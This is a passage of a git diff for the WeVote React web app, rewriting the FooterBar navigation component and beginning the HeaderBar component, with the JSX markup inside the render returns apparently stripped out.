- this.setState({
- // inPrivateLabelMode: AppObservableStore.getHideWeVoteLogo(), // Using this setting temporarily // setState onAppObservableStoreChange is not working sometimes for some reason
- showActivityTidbitDrawer,
- showingOneCompleteYourProfileModal,
- showShareModal,
- showSharedItemModal,
- showSignInModal,
- showVoterPlanModal,
- });
- }
-
- onFriendStoreChange () {
- if (!signInModalGlobalState.get('textOrEmailSignInInProcess')) {
- // console.log('FooterBar, onFriendStoreChange');
- const friendInvitationsSentToMe = FriendStore.friendInvitationsSentToMe();
- const friendInvitationsSentToMeCount = (friendInvitationsSentToMe) ? friendInvitationsSentToMe.length : 0;
- this.setState({
- friendInvitationsSentToMeCount,
- });
- }
- }
-
- onVoterStoreChange () {
- // const voter = VoterStore.getVoter();
- // const voterIsSignedIn = voter.is_signed_in || false;
- // this.setState({
- // voterIsSignedIn,
- // });
- }
-
- handleChange = (event, value) => {
- if (isCordova()) {
- const { impact } = window.TapticEngine;
- impact({
- style: 'heavy', // light | medium | heavy
- });
- }
- // In browser mobile, we can offer donate footer link
- // If NOT signed in, turn Discuss off and How It Works on
- // Regardless of whether visible or not the option's numerical position remains the same
- // console.log('FooterBar, handleChange value:', value);
- const showMoreMenuCurrentState = this.state.showMoreMenu || false;
- switch (value) {
- case 0:
- return historyPush('/ready');
- case 1:
- return historyPush('/ballot');
- case 2:
- return historyPush('/cs/');
- case 3:
- return historyPush('/donate');
- case 4:
- return this.setState({ showMoreMenu: !showMoreMenuCurrentState });
- default:
- return null;
- }
- };
-
- getSelectedTab = () => {
- const pathname = normalizedHref();
- const pathnameLowerCase = pathname.toLowerCase();
- if (pathname === '/') return 0; // readyLight has no path
- if (stringContains('/ready', pathnameLowerCase)) return 0;
- if (stringContains('/ballot', pathnameLowerCase)) return 1;
- if (pathnameLowerCase.endsWith('/cs/')) return 2;
- if (stringContains('/donate', pathnameLowerCase)) return 3;
- // Treat these as "More" so the More tab stays highlighted
- if (stringContains('/managecandidates', pathnameLowerCase)) return 4;
- if (stringContains('/no-candidates-claimed', pathnameLowerCase)) return 4;
- if (stringContains('/friends', pathnameLowerCase)) return 4;
- if (stringContains('/challenges', pathnameLowerCase)) return 4;
- if (stringContains('/+/', pathname) || stringContains('/++/', pathname)) return 4;
- if (stringContains('/squads', pathnameLowerCase)) return 4;
- if (stringContains('/news', pathnameLowerCase)) return 4;
- if (stringContains('/more', pathnameLowerCase)) return 4;
- return -1;
- };
-
- render () {
- renderLog('FooterBar'); // Set LOG_RENDER_EVENTS to log all renders
- const { classes } = this.props;
- const {
- friendInvitationsSentToMeCount,
- showActivityTidbitDrawer, showingOneCompleteYourProfileModal,
- showMoreMenu, showShareModal,
- showSharedItemModal, showSignInModal, showVoterPlanModal,
- } = this.state;
- const pathname = normalizedHref();
- const showShareButtonFooter = stringContains('/ballot', pathname.toLowerCase());
- const inPrivateLabelMode = AppObservableStore.getHideWeVoteLogo(); // setState onAppObservableStoreChange is not working sometimes for some reason
- // const badgeStyle = {
- // display: 'inline-block',
- // };
- const hideFooterBehindModal = showActivityTidbitDrawer || showingOneCompleteYourProfileModal || showShareModal || showSharedItemModal || showSignInModal || showVoterPlanModal;
- const defaultIconStyles = {
- '& .MuiBottomNavigationAction-root.Mui-selected, svg': {
- fontSize: 37,
- },
- '& .MuiBottomNavigationAction-label.Mui-selected': {
- fontSize: 16,
- fontWeight: 600,
- },
- '& .MuiBottomNavigationAction-root, svg': {
- fontSize: 35,
- },
- '& .MuiBottomNavigationAction-label': {
- fontSize: 16,
- },
- };
- const donateIconStyles = {
- '& .MuiBottomNavigationAction-root.Mui-selected, svg': {
- fontSize: 32,
- },
- '& .MuiBottomNavigationAction-label.Mui-selected': {
- fontSize: 16,
- fontWeight: 600,
- },
- '& .MuiBottomNavigationAction-root, svg': {
- fontSize: 30,
- },
- '& .MuiBottomNavigationAction-label': {
- fontSize: 16,
- marginBottom: '-4px',
- },
- };
-
- // console.log('friendInvitationsSentToMeCount:', friendInvitationsSentToMeCount);
- // If NOT signed in, turn Discuss off and How It Works on
- let donateVisible;
- if (inPrivateLabelMode) {
- donateVisible = false; // Turn off donate link if an org has private labeled WeVote
- } else {
- donateVisible = true; // 2025-06-17 Enabling donations, we hear it is now permissible for nonprofits in iOS & Android
- // console.log('--------- Footer bar donateVisible ', donateVisible, 'squadsVisible', squadsVisible);
- }
-
- return (
-
- {showShareButtonFooter && (
-
-
- )}
-
-
- );
- }
-}
-FooterBar.propTypes = {
- classes: PropTypes.object,
-};
-
-const styles = () => ({
- footerFriendsNotificationBadge: {
- backgroundColor: DesignTokenColors.alert400,
- fontSize: 10,
- height: 15,
- marginRight: 0,
- marginTop: 5,
- minWidth: 15,
- width: 15,
- },
-});
-
-const BadgeCountWrapper = styled('span')(({ theme }) => (`
- display: flex;
- justify-content: center;
- margin-bottom: 3px;
- padding-top: 0;
- ${theme.breakpoints.down('md')} {
- padding-top: 1px;
- }
-`));
-
-const FooterBarWrapperFooterBar = styled('div')`
- @media print{
- display: none;
- }
-`;
-
-const FooterContainer = styled('div')`
- background: ${DesignTokenColors.whiteUI}; ;
- border-top: 1px solid ${DesignTokenColors.neutralUI50};
- bottom: 0;
- box-shadow: 0 -4px 4px -1px rgba(0, 0, 0, 0.2), 0 -4px 5px 0 rgba(0, 0, 0, 0.14), 0 -1px 10px 0 rgba(0, 0, 0, 0.12);
- padding-left: 0;
- position: fixed;
- width: 100%;
- left: 0;
- ${!isAndroid() ? 'padding-bottom: env(safe-area-inset-bottom)' : ''};
-`;
-
-const Overlay = styled.div`
- align-items: stretch;
- background: ${DesignTokenColors.whiteUI};
- border: 1px solid ${DesignTokenColors.neutralUI100};
- border-radius: 10px;
- bottom: 56px;
- box-shadow: 0 8px 24px rgba(0,0,0,.1);
- display: flex;
- flex-wrap: wrap;
- gap: 12px;
- justify-content: center;
- position: fixed;
- right: 8px;
- transition: opacity .2s ease;
- z-index: 9999;
-`;
-
-const MenuItem = styled.div`
- border-radius: 10px;
- color: ${({ $active }) => ($active ? 'rgb(32, 109, 179)' : DesignTokenColors.neutralUI600)};
- cursor: pointer;
- align-items: center;
- display: inline-flex;
- flex-direction: column;
- font-size: 16px;
- justify-content: center;
- line-height: 1.2;
- min-height: 84px;
- min-width: 88px;
- padding: 8px 10px;
- text-align: center;
- svg {
- height: 40px;
- width: 40px;
- margin-bottom: 6px;
- }
- img {
- width: 40px;
- }
-`;
-
-export default withStyles(styles)(FooterBar);
+import { Article, CalendarMonth, Groups, Home, HowToVote, Info, MoreHoriz, People, QuestionAnswer, VerifiedUser } from '@mui/icons-material';
+import { Badge, BottomNavigation, BottomNavigationAction, ClickAwayListener } from '@mui/material';
+import withStyles from '@mui/styles/withStyles';
+import PropTypes from 'prop-types';
+import React, { Suspense } from 'react';
+import styled from 'styled-components';
+import DesignTokenColors from '../../common/components/Style/DesignTokenColors';
+import DelayedLoad from '../../common/components/Widgets/DelayedLoad';
+import signInModalGlobalState from '../../common/components/Widgets/signInModalGlobalState';
+import AppObservableStore, { messageService } from '../../common/stores/AppObservableStore';
+import { isIOS } from '../../common/utils/cordovaUtils';
+import historyPush from '../../common/utils/historyPush';
+import { normalizedHref } from '../../common/utils/hrefUtils';
+import { isAndroid, isCordova, isWebApp } from '../../common/utils/isCordovaOrWebApp';
+import { renderLog } from '../../common/utils/logging';
+import normalizedImagePath from '../../common/utils/normalizedImagePath';
+import stringContains from '../../common/utils/stringContains';
+import webAppConfig from '../../config';
+import FriendStore from '../../stores/FriendStore';
+import VoterStore from '../../stores/VoterStore';
+import { cordovaFooterHeight } from '../../utils/cordovaOffsets';
+import ShareButtonFooter from '../Share/ShareButtonFooter';
+
+const nextReleaseFeaturesEnabled = webAppConfig.ENABLE_NEXT_RELEASE_FEATURES === undefined ? false : webAppConfig.ENABLE_NEXT_RELEASE_FEATURES;
+
+const OpenExternalWebSite = React.lazy(() => import(/* webpackChunkName: 'OpenExternalWebSite' */ '../../common/components/Widgets/OpenExternalWebSite'));
+
+// It's not ideal to have two images, but this is a complex svg, and I couldn't figure out how to change the fill color with a variable
+const capitalBuilding = '/img/global/svg-icons/capital-building.svg';
+const capitalBuildingSelected = '/img/global/svg-icons/capital-building-selected.svg';
+const weVoteIcon = '/img/global/svg-icons/we-vote-icon-square-color-grey.svg';
+const weVoteIconSelected = '/img/global/svg-icons/we-vote-icon-square-color-dark.svg';
+
+
+function MoreMenuOverlay ({ anchorRef, classes, friendInvitationsSentToMeCount, onClose }) {
+ const pathname = normalizedHref();
+ const isAbout = pathname.includes('/more/faq');
+ const isChallenges = pathname.includes('/challenges');
+ const isDiscuss = pathname.includes('/news');
+ const isElectionFinder = pathname.includes('/election-finder');
+ const isFriends = pathname.includes('/friends');
+ const isManage = pathname.includes('/manage') || pathname.includes('/no-candidates-claimed');
+
+ // Ignore clicks on the More anchor so the button's own onChange owns toggling.
+ const handleClickAway = (event) => {
+ if (anchorRef && anchorRef.current && anchorRef.current.contains(event.target)) return;
+ onClose();
+ };
+
+ return (
+
+
+
+
+ {nextReleaseFeaturesEnabled && (
+ { onClose(); historyPush('/no-candidates-claimed'); }}>
+
+ )}
+
+
+
+ {nextReleaseFeaturesEnabled && (
+
+ )}
+ {isWebApp() && (
+ }>
+
+ )}
+
+
+ );
+}
+MoreMenuOverlay.propTypes = {
+ anchorRef: PropTypes.shape({ current: PropTypes.any }),
+ classes: PropTypes.object.isRequired,
+ friendInvitationsSentToMeCount: PropTypes.number.isRequired,
+ onClose: PropTypes.func.isRequired,
+};
+
+class FooterBar extends React.Component {
+ constructor (props) {
+ super(props);
+ this.anchorRef = React.createRef();
+ this.state = {
+ friendInvitationsSentToMeCount: 0,
+ // inPrivateLabelMode: false, // setState onAppObservableStoreChange is not working sometimes for some reason
+ showingOneCompleteYourProfileModal: false,
+ showSignInModal: false,
+ // voterIsSignedIn: false,
+ };
+ }
+
+ componentDidMount () {
+ this.onVoterStoreChange();
+ this.appStateSubscription = messageService.getMessage().subscribe(() => this.onAppObservableStoreChange());
+ this.friendStoreListener = FriendStore.addListener(this.onFriendStoreChange.bind(this));
+ this.voterStoreListener = VoterStore.addListener(this.onVoterStoreChange.bind(this));
+ const showingOneCompleteYourProfileModal = AppObservableStore.showingOneCompleteYourProfileModal();
+ const showShareModal = AppObservableStore.showShareModal();
+ const showSharedItemModal = AppObservableStore.showSharedItemModal();
+ const showSignInModal = AppObservableStore.showSignInModal();
+ const showVoterPlanModal = AppObservableStore.showVoterPlanModal();
+ const friendInvitationsSentToMe = FriendStore.friendInvitationsSentToMe();
+ const friendInvitationsSentToMeCount = (friendInvitationsSentToMe) ? friendInvitationsSentToMe.length : 0;
+ this.setState({
+ friendInvitationsSentToMeCount,
+ // inPrivateLabelMode: AppObservableStore.getHideWeVoteLogo(), // Using this setting temporarily // setState onAppObservableStoreChange is not working sometimes for some reason
+
+ showingOneCompleteYourProfileModal,
+ showShareModal,
+ showSharedItemModal,
+ showSignInModal,
+ showVoterPlanModal,
+ });
+ }
+
+ componentWillUnmount () {
+ this.appStateSubscription.unsubscribe();
+ this.friendStoreListener.remove();
+ this.voterStoreListener.remove();
+ }
+
+ onAppObservableStoreChange () {
+ const showActivityTidbitDrawer = AppObservableStore.showActivityTidbitDrawer();
+ const showingOneCompleteYourProfileModal = AppObservableStore.showingOneCompleteYourProfileModal();
+ const showShareModal = AppObservableStore.showShareModal();
+ const showSharedItemModal = AppObservableStore.showSharedItemModal();
+ const showSignInModal = AppObservableStore.showSignInModal();
+ const showVoterPlanModal = AppObservableStore.showVoterPlanModal();
+ this.setState({
+ // inPrivateLabelMode: AppObservableStore.getHideWeVoteLogo(), // Using this setting temporarily // setState onAppObservableStoreChange is not working sometimes for some reason
+ showActivityTidbitDrawer,
+ showingOneCompleteYourProfileModal,
+ showShareModal,
+ showSharedItemModal,
+ showSignInModal,
+ showVoterPlanModal,
+ });
+ }
+
+ onFriendStoreChange () {
+ if (!signInModalGlobalState.get('textOrEmailSignInInProcess')) {
+ // console.log('FooterBar, onFriendStoreChange');
+ const friendInvitationsSentToMe = FriendStore.friendInvitationsSentToMe();
+ const friendInvitationsSentToMeCount = (friendInvitationsSentToMe) ? friendInvitationsSentToMe.length : 0;
+ this.setState({
+ friendInvitationsSentToMeCount,
+ });
+ }
+ }
+
+ onVoterStoreChange () {
+ // const voter = VoterStore.getVoter();
+ // const voterIsSignedIn = voter.is_signed_in || false;
+ // this.setState({
+ // voterIsSignedIn,
+ // });
+ }
+
+ handleChange = (event, value) => {
+ if (isCordova()) {
+ const { impact } = window.TapticEngine;
+ impact({
+ style: 'heavy', // light | medium | heavy
+ });
+ }
+ // In browser mobile, we can offer donate footer link
+ // If NOT signed in, turn Discuss off and How It Works on
+ // Regardless of whether visible or not the option's numerical position remains the same
+ // console.log('FooterBar, handleChange value:', value);
+ const showMoreMenuCurrentState = this.state.showMoreMenu || false;
+ switch (value) {
+ case 0:
+ return historyPush('/ready');
+ case 1:
+ return historyPush('/ballot');
+ case 2:
+ return historyPush('/cs/');
+ case 3:
+ return historyPush('/donate');
+ case 4:
+ return this.setState({ showMoreMenu: !showMoreMenuCurrentState });
+ default:
+ return null;
+ }
+ };
+
+ getSelectedTab = () => {
+ const pathname = normalizedHref();
+ const pathnameLowerCase = pathname.toLowerCase();
+ if (pathname === '/') return 0; // readyLight has no path
+ if (stringContains('/ready', pathnameLowerCase)) return 0;
+ if (stringContains('/ballot', pathnameLowerCase)) return 1;
+ if (pathnameLowerCase.endsWith('/cs/')) return 2;
+ if (stringContains('/donate', pathnameLowerCase)) return 3;
+ // Treat these as "More" so the More tab stays highlighted
+ if (stringContains('/managecandidates', pathnameLowerCase)) return 4;
+ if (stringContains('/no-candidates-claimed', pathnameLowerCase)) return 4;
+ if (stringContains('/friends', pathnameLowerCase)) return 4;
+ if (stringContains('/challenges', pathnameLowerCase)) return 4;
+ if (stringContains('/+/', pathname) || stringContains('/++/', pathname)) return 4;
+ if (stringContains('/squads', pathnameLowerCase)) return 4;
+ if (stringContains('/news', pathnameLowerCase)) return 4;
+ if (stringContains('/more', pathnameLowerCase)) return 4;
+ return -1;
+ };
+
+ render () {
+ renderLog('FooterBar'); // Set LOG_RENDER_EVENTS to log all renders
+ const { classes } = this.props;
+ const {
+ friendInvitationsSentToMeCount,
+ showActivityTidbitDrawer, showingOneCompleteYourProfileModal,
+ showMoreMenu, showShareModal,
+ showSharedItemModal, showSignInModal, showVoterPlanModal,
+ } = this.state;
+ const pathname = normalizedHref();
+ const showShareButtonFooter = stringContains('/ballot', pathname.toLowerCase());
+ const inPrivateLabelMode = AppObservableStore.getHideWeVoteLogo(); // setState onAppObservableStoreChange is not working sometimes for some reason
+ // const badgeStyle = {
+ // display: 'inline-block',
+ // };
+ const hideFooterBehindModal = showActivityTidbitDrawer || showingOneCompleteYourProfileModal || showShareModal || showSharedItemModal || showSignInModal || showVoterPlanModal;
+ const defaultIconStyles = {
+ '& .MuiBottomNavigationAction-root.Mui-selected, svg': {
+ fontSize: 37,
+ },
+ '& .MuiBottomNavigationAction-label.Mui-selected': {
+ fontSize: 16,
+ fontWeight: 600,
+ },
+ '& .MuiBottomNavigationAction-root, svg': {
+ fontSize: 35,
+ },
+ '& .MuiBottomNavigationAction-label': {
+ fontSize: 16,
+ },
+ };
+ const donateIconStyles = {
+ '& .MuiBottomNavigationAction-root.Mui-selected, svg': {
+ fontSize: 32,
+ },
+ '& .MuiBottomNavigationAction-label.Mui-selected': {
+ fontSize: 16,
+ fontWeight: 600,
+ },
+ '& .MuiBottomNavigationAction-root, svg': {
+ fontSize: 30,
+ },
+ '& .MuiBottomNavigationAction-label': {
+ fontSize: 16,
+ marginBottom: '-4px',
+ },
+ };
+
+ // console.log('friendInvitationsSentToMeCount:', friendInvitationsSentToMeCount);
+ // If NOT signed in, turn Discuss off and How It Works on
+ let donateVisible;
+ if (inPrivateLabelMode) {
+ donateVisible = false; // Turn off donate link if an org has private labeled WeVote
+ } else {
+ donateVisible = true; // 2025-06-17 Enabling donations, we hear it is now permissible for nonprofits in iOS & Android
+ // console.log('--------- Footer bar donateVisible ', donateVisible, 'squadsVisible', squadsVisible);
+ }
+
+ return (
+
+ {showShareButtonFooter && (
+
+
+ )}
+
+
+ );
+ }
+}
+FooterBar.propTypes = {
+ classes: PropTypes.object,
+};
+
+const styles = () => ({
+ footerFriendsNotificationBadge: {
+ backgroundColor: DesignTokenColors.alert400,
+ fontSize: 10,
+ height: 15,
+ marginRight: 0,
+ marginTop: 5,
+ minWidth: 15,
+ width: 15,
+ },
+});
+
+const BadgeCountWrapper = styled('span')(({ theme }) => (`
+ display: flex;
+ justify-content: center;
+ margin-bottom: 3px;
+ padding-top: 0;
+ ${theme.breakpoints.down('md')} {
+ padding-top: 1px;
+ }
+`));
+
+const FooterBarWrapperFooterBar = styled('div')`
+ @media print{
+ display: none;
+ }
+`;
+
+const FooterContainer = styled('div')`
+ background: ${DesignTokenColors.whiteUI}; ;
+ border-top: 1px solid ${DesignTokenColors.neutralUI50};
+ bottom: 0;
+ box-shadow: 0 -4px 4px -1px rgba(0, 0, 0, 0.2), 0 -4px 5px 0 rgba(0, 0, 0, 0.14), 0 -1px 10px 0 rgba(0, 0, 0, 0.12);
+ padding-left: 0;
+ position: fixed;
+ width: 100%;
+ left: 0;
+ ${!isAndroid() ? 'padding-bottom: env(safe-area-inset-bottom)' : ''};
+`;
+
+const Overlay = styled.div`
+ align-items: stretch;
+ background: ${DesignTokenColors.whiteUI};
+ border: 1px solid ${DesignTokenColors.neutralUI100};
+ border-radius: 10px;
+ bottom: 56px;
+ box-shadow: 0 8px 24px rgba(0,0,0,.1);
+ display: flex;
+ flex-wrap: wrap;
+ gap: 12px;
+ justify-content: center;
+ position: fixed;
+ right: 8px;
+ transition: opacity .2s ease;
+ z-index: 9999;
+`;
+
+const MenuItem = styled.div`
+ border-radius: 10px;
+ color: ${({ $active }) => ($active ? 'rgb(32, 109, 179)' : DesignTokenColors.neutralUI600)};
+ cursor: pointer;
+ align-items: center;
+ display: inline-flex;
+ flex-direction: column;
+ font-size: 16px;
+ justify-content: center;
+ line-height: 1.2;
+ min-height: 84px;
+ min-width: 88px;
+ padding: 8px 10px;
+ text-align: center;
+ svg {
+ height: 40px;
+ width: 40px;
+ margin-bottom: 6px;
+ }
+ img {
+ width: 40px;
+ }
+`;
+
+export default withStyles(styles)(FooterBar);
diff --git a/src/js/components/Navigation/HeaderBar.jsx b/src/js/components/Navigation/HeaderBar.jsx
index f38a58b1cf..1aec529655 100644
--- a/src/js/components/Navigation/HeaderBar.jsx
+++ b/src/js/components/Navigation/HeaderBar.jsx
@@ -1,1001 +1,1001 @@
-import AccountCircle from '@mui/icons-material/AccountCircle';
-import ExpandMoreIcon from '@mui/icons-material/ExpandMore';
-import { IconButton, Menu, MenuItem, Tab, Tabs } from '@mui/material';
-import withStyles from '@mui/styles/withStyles';
-import PropTypes from 'prop-types';
-import React, { Component, Suspense } from 'react';
-import { Link } from 'react-router-dom';
-import styled from 'styled-components';
-import OrganizationActions from '../../actions/OrganizationActions';
-import VoterActions from '../../actions/VoterActions';
-import VoterGuideActions from '../../actions/VoterGuideActions';
-import LazyImage from '../../common/components/LazyImage';
-import standardBoxShadow from '../../common/components/Style/standardBoxShadow';
-import signInModalGlobalState from '../../common/components/Widgets/signInModalGlobalState';
-import AppObservableStore, { messageService } from '../../common/stores/AppObservableStore';
-import apiCalming from '../../common/utils/apiCalming';
-// import { historyPush } from '../../common/utils/cordovaUtils';
-import { normalizedHrefPage } from '../../common/utils/hrefUtils';
-import { isCordova, isWebApp } from '../../common/utils/isCordovaOrWebApp';
-import isMobileScreenSize, { handleResize, isSmallTablet, isTablet } from '../../common/utils/isMobileScreenSize';
-import { renderLog } from '../../common/utils/logging';
-import voterPhoto from '../../common/utils/voterPhoto';
-import webAppConfig from '../../config';
-import AnalyticsStore from '../../stores/AnalyticsStore';
-import FacebookStore from '../../stores/FacebookStore';
-import FriendStore from '../../stores/FriendStore';
-import VoterStore from '../../stores/VoterStore';
-import { avatarGeneric, displayTopMenuShadow, weVoteBrandingOff } from '../../utils/applicationUtils';
-import getHeaderObjects from '../../utils/getHeaderObjects';
-import { TopOfPageHeader, TopRowOneLeftContainer, TopRowOneMiddleContainer, TopRowOneRightContainer, TopRowTwoLeftContainer } from '../Style/pageLayoutStyles';
-import SignInButton from '../Widgets/SignInButton';
-import FriendsTabs from './FriendsTabs';
-import HeaderBarLogo from './HeaderBarLogo';
-import HeaderBarModals from './HeaderBarModals';
-import TabWithPushHistory from './TabWithPushHistory';
-
-const HeaderNotificationMenu = React.lazy(() => import(/* webpackChunkName: 'HeaderNotificationMenu' */ './HeaderNotificationMenu'));
-const nextReleaseFeaturesEnabled = webAppConfig.ENABLE_NEXT_RELEASE_FEATURES === undefined ? false : webAppConfig.ENABLE_NEXT_RELEASE_FEATURES;
-const OpenExternalWebSite = React.lazy(() => import(/* webpackChunkName: 'OpenExternalWebSite' */ '../../common/components/Widgets/OpenExternalWebSite'));
-
-/* global $ */
-
-// TODO: Backport "@stripe/react-stripe-js" use from Campaigns
-// import PaidAccountUpgradeModal from '../Settings/PaidAccountUpgradeModal';
-
-
-class HeaderBar extends Component {
- constructor (props) {
- super(props);
- this.state = {
- // aboutMenuOpen: false,
- chosenSiteLogoUrl: '',
- componentDidMountFinished: false,
- // friendInvitationsSentToMe: 0,
- hideWeVoteLogo: false,
- // inPrivateLabelMode: false,
- // priorPath: '',
- scrolledDown: false,
- // showOrganizationModal: false,
- showSignInModal: false,
- // showPositionDrawer: false,
- // whatAndHowMuchToShare: '',
- tabsValue: 1,
- // organizationModalBallotItemWeVoteId: '',
- page: 'non-blank-default-value',
- voter: {},
- // voterFirstName: '',
- voterIsSignedIn: false,
- };
- this.debugLogging = this.debugLogging.bind(this);
- this.toggleSignInModal = this.toggleSignInModal.bind(this);
- this.transitionToYourVoterGuide = this.transitionToYourVoterGuide.bind(this);
- this.handleTabChange = this.handleTabChange.bind(this);
- this.handleResizeLocal = this.handleResizeLocal.bind(this);
- }
-
- componentDidMount () {
- this.appStateSubscription = messageService.getMessage().subscribe((msg) => this.onAppObservableStoreChange(msg));
- this.friendStoreListener = FriendStore.addListener(this.onFriendStoreChange.bind(this));
- this.voterStoreListener = VoterStore.addListener(this.onVoterStoreChange.bind(this));
- this.analyticsStoreListener = AnalyticsStore.addListener(this.onAnalyticsStoreChange.bind(this));
- window.addEventListener('resize', this.handleResizeLocal);
-
- const voter = VoterStore.getVoter();
- // const voterFirstName = VoterStore.getFirstName();
- const voterIsSignedIn = voter && voter.is_signed_in;
- // if (voterIsSignedIn === undefined) {
- // VoterActions.voterRetrieve();
- // }
- this.setState({
- componentDidMountFinished: true,
- chosenSiteLogoUrl: AppObservableStore.getChosenSiteLogoUrl(),
- // friendInvitationsSentToMe: FriendStore.friendInvitationsSentToMe(),
- hideWeVoteLogo: AppObservableStore.getHideWeVoteLogo(),
- // inPrivateLabelMode: AppObservableStore.getHideWeVoteLogo(), // Using this setting temporarily // setState onAppObservableStoreChange is not working for some reason
- scrolledDown: AppObservableStore.getScrolledDown(),
- showSignInModal: AppObservableStore.showSignInModal(),
- voter,
- // voterFirstName,
- voterIsSignedIn,
- });
- if (isWebApp()) {
- this.setStyleTimeout = setTimeout(() => {
- const headerObjects = getHeaderObjects();
- if (document.getElementById('HeaderBarLogoWrapper')) {
- headerObjects.logo = document.getElementById('HeaderBarLogoWrapper').innerHTML;
- }
- if (document.getElementById('ballotTabHeaderBar')) {
- headerObjects.ballot = document.getElementById('ballotTabHeaderBar').innerHTML;
- }
- if (document.getElementById('candidatesTabHeaderBar')) {
- headerObjects.candidates = document.getElementById('candidatesTabHeaderBar').innerHTML;
- }
- if (document.getElementById('challengesTabHeaderBar')) {
- headerObjects.challenges = document.getElementById('challengesTabHeaderBar').innerHTML;
- }
- if (document.getElementById('friendsTabHeaderBar')) {
- headerObjects.opinions = document.getElementById('friendsTabHeaderBar').innerHTML;
- }
- if (document.getElementById('discussTabHeaderBar')) {
- headerObjects.discuss = document.getElementById('discussTabHeaderBar').innerHTML;
- }
- if (document.getElementById('donateTabHeaderBar')) {
- headerObjects.donate = document.getElementById('donateTabHeaderBar').innerHTML;
- }
- if (document.getElementById('HeaderNotificationMenuWrapper')) {
- headerObjects.bell = document.getElementById('HeaderNotificationMenuWrapper').innerHTML;
- }
- if (document.getElementById('profileAvatarHeaderBar')) {
- headerObjects.photo = document.getElementById('profileAvatarHeaderBar').innerHTML;
- }
- if (document.getElementById('moreTabHeaderBar')) {
- headerObjects.more = document.getElementById('moreTabHeaderBar').innerHTML;
- }
- if (document.getElementById('howItWorksTabHeaderBar')) {
- headerObjects.howItWorks = document.getElementById('howItWorksTabHeaderBar').innerHTML;
- }
- }, 1000);
- }
- this.syncTabsToRoute();
- }
-
- componentDidUpdate () {
- // console.log('HeaderBar componentDidUpdate');
- const { page } = this.state;
- if (page !== normalizedHrefPage()) {
- this.syncTabsToRoute();
- }
- }
-
- componentDidCatch (error, info) {
- // We should get this information to Splunk!
- console.error('HeaderBar caught error: ', `${error} with info: `, info);
- }
-
- componentWillUnmount () {
- this.appStateSubscription.unsubscribe();
- this.friendStoreListener.remove();
- this.voterStoreListener.remove();
- this.analyticsStoreListener.remove();
- window.removeEventListener('resize', this.handleResizeLocal);
- if (this.setStyleTimeout) clearTimeout(this.setStyleTimeout);
- }
-
- handleTabChange = (newValue) => {
- this.setState({ tabsValue: newValue }, () => {
- // console.log('handleTabChange ', newValue);
- this.customHighlightSelector(newValue);
- });
- };
-
- handleResizeLocal () {
- if (handleResize('HeaderBar')) {
- this.setState({});
- }
- }
-
- onFriendStoreChange () {
- // console.log('HeaderBar, onFriendStoreChange textOrEmailSignInInProcess: ' + signInModalGlobalState.get('textOrEmailSignInInProcess'));
- if (!signInModalGlobalState.get('textOrEmailSignInInProcess')) {
- // console.log('HeaderBar, onFriendStoreChange');
- this.setState({
- // friendInvitationsSentToMe: FriendStore.friendInvitationsSentToMe(),
- });
- }
- }
-
- onVoterStoreChange () {
- // console.log('HeaderBar, onVoterStoreChange textOrEmailSignInInProcess: ' + signInModalGlobalState.get('textOrEmailSignInInProcess'));
- // console.log('HeaderBar, onVoterStoreChange voter: ', VoterStore.getVoter());
-
- if (!signInModalGlobalState.get('textOrEmailSignInInProcess')) {
- // console.log('HeaderBar, onVoterStoreChange ', VoterStore.getFirstName(), VoterStore.getFullName());
- const voter = VoterStore.getVoter();
- // const voterFirstName = VoterStore.getFirstName();
- const voterIsSignedIn = voter.is_signed_in || false;
- this.setState({
- voter,
- // voterFirstName,
- voterIsSignedIn,
- showSignInModal: AppObservableStore.showSignInModal(),
- // showOrganizationModal: AppObservableStore.showOrganizationModal(),
- // showPositionDrawer: AppObservableStore.showPositionDrawer(),
- });
- }
- }
-
- // eslint-disable-next-line no-unused-vars
- onAppObservableStoreChange (msg) {
- // console.log('------ HeaderBar, onAppObservableStoreChange received: ', msg);
- this.setState({
- chosenSiteLogoUrl: AppObservableStore.getChosenSiteLogoUrl(),
- hideWeVoteLogo: AppObservableStore.getHideWeVoteLogo(),
- // inPrivateLabelMode: AppObservableStore.getHideWeVoteLogo(), // Using this setting temporarily // setState onAppObservableStoreChange is not working for some reason
- // organizationModalBallotItemWeVoteId: AppObservableStore.getOrganizationModalBallotItemWeVoteId(),
- scrolledDown: AppObservableStore.getScrolledDown(),
- // whatAndHowMuchToShare: AppObservableStore.getWhatAndHowMuchToShare(),
- showSignInModal: AppObservableStore.showSignInModal(),
- });
- }
-
- onAnalyticsStoreChange () {
- // A page reload for iOS in Cordova after facebook login forces the need for a voterRetrieve, after redrawing the page
- // (and without requiring changes to the API server), the first response that indicates 'is signed in' is an Analytics call response
- // console.log('onAnalyticsStoreChange VoterStore.getVoterIsSignedIn(): ', VoterStore.getVoterIsSignedIn(), ' AnalyticsStore.getIsSignedIn(): ', AnalyticsStore.getIsSignedIn(), 'FacebookStore.loggedIn: ', FacebookStore.loggedIn, 'VoterStore.voterDeviceId(): ', VoterStore.voterDeviceId());
- if (isCordova() && VoterStore.getVoterIsSignedIn() === false && (AnalyticsStore.getIsSignedIn() || FacebookStore.loggedIn)) {
- if (apiCalming('voterRetrieve', 500)) {
- // console.log('Cordova: HeaderBar onAnalyticsStoreChange, firing voterRetrieve --------------'); // Do not comment out or delete
- VoterActions.voterRetrieve();
- }
- }
- }
-
- syncTabsToRoute = () => {
- const nextPage = normalizedHrefPage();
- const nextValue = this.getTabsValueFromPage();
- this.setState({ tabsValue: nextValue, page: nextPage }, () => {
- this.customHighlightSelector(nextValue || false);
- });
- };
-
- getTabsValueFromPage = () => {
- const page = normalizedHrefPage();
- switch (page) {
- case 'ballot':
- return 1;
- case 'candidatelist':
- case 'politicianpage':
- return 2;
- case 'donate':
- case 'more/donate':
- return 3;
- case 'election-finder':
- case 'friends':
- case 'news':
- case 'challenges':
- case 'more':
- case 'more/faq':
- case 'managecandidates':
- case 'no-candidates-claimed':
- return 4;
- default:
- return 0;
- }
- };
-
- // goToSearch = () => {
- // historyPush('/opinions');
- // }
-
- openHowItWorksModal = () => {
- // console.log('Opening modal');
- AppObservableStore.setShowHowItWorksModal(true);
- };
-
- transitionToYourVoterGuide () {
- // Positions for this organization, for this voter/election
- OrganizationActions.positionListForOpinionMaker(this.state.voter.linked_organization_we_vote_id, true);
-
- // Positions for this organization, NOT including for this voter / election
- // const googleCivicElectionId = 0;
- // if (!OrganizationStore.positionListForOpinionMakerHasBeenRetrievedOnce(googleCivicElectionId, this.state.voter.linked_organization_we_vote_id)) {
- OrganizationActions.positionListForOpinionMaker(this.state.voter.linked_organization_we_vote_id, false, true);
- // }
- if (apiCalming('organizationsFollowedRetrieve', 60000)) {
